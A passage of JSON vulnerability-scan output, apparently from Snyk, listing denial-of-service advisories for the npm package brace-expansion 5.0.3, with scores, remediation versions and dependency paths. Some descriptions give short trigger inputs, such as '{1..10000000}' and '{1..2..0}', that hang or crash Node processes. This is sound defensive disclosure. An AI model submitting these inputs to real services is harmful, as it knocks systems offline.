"cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], 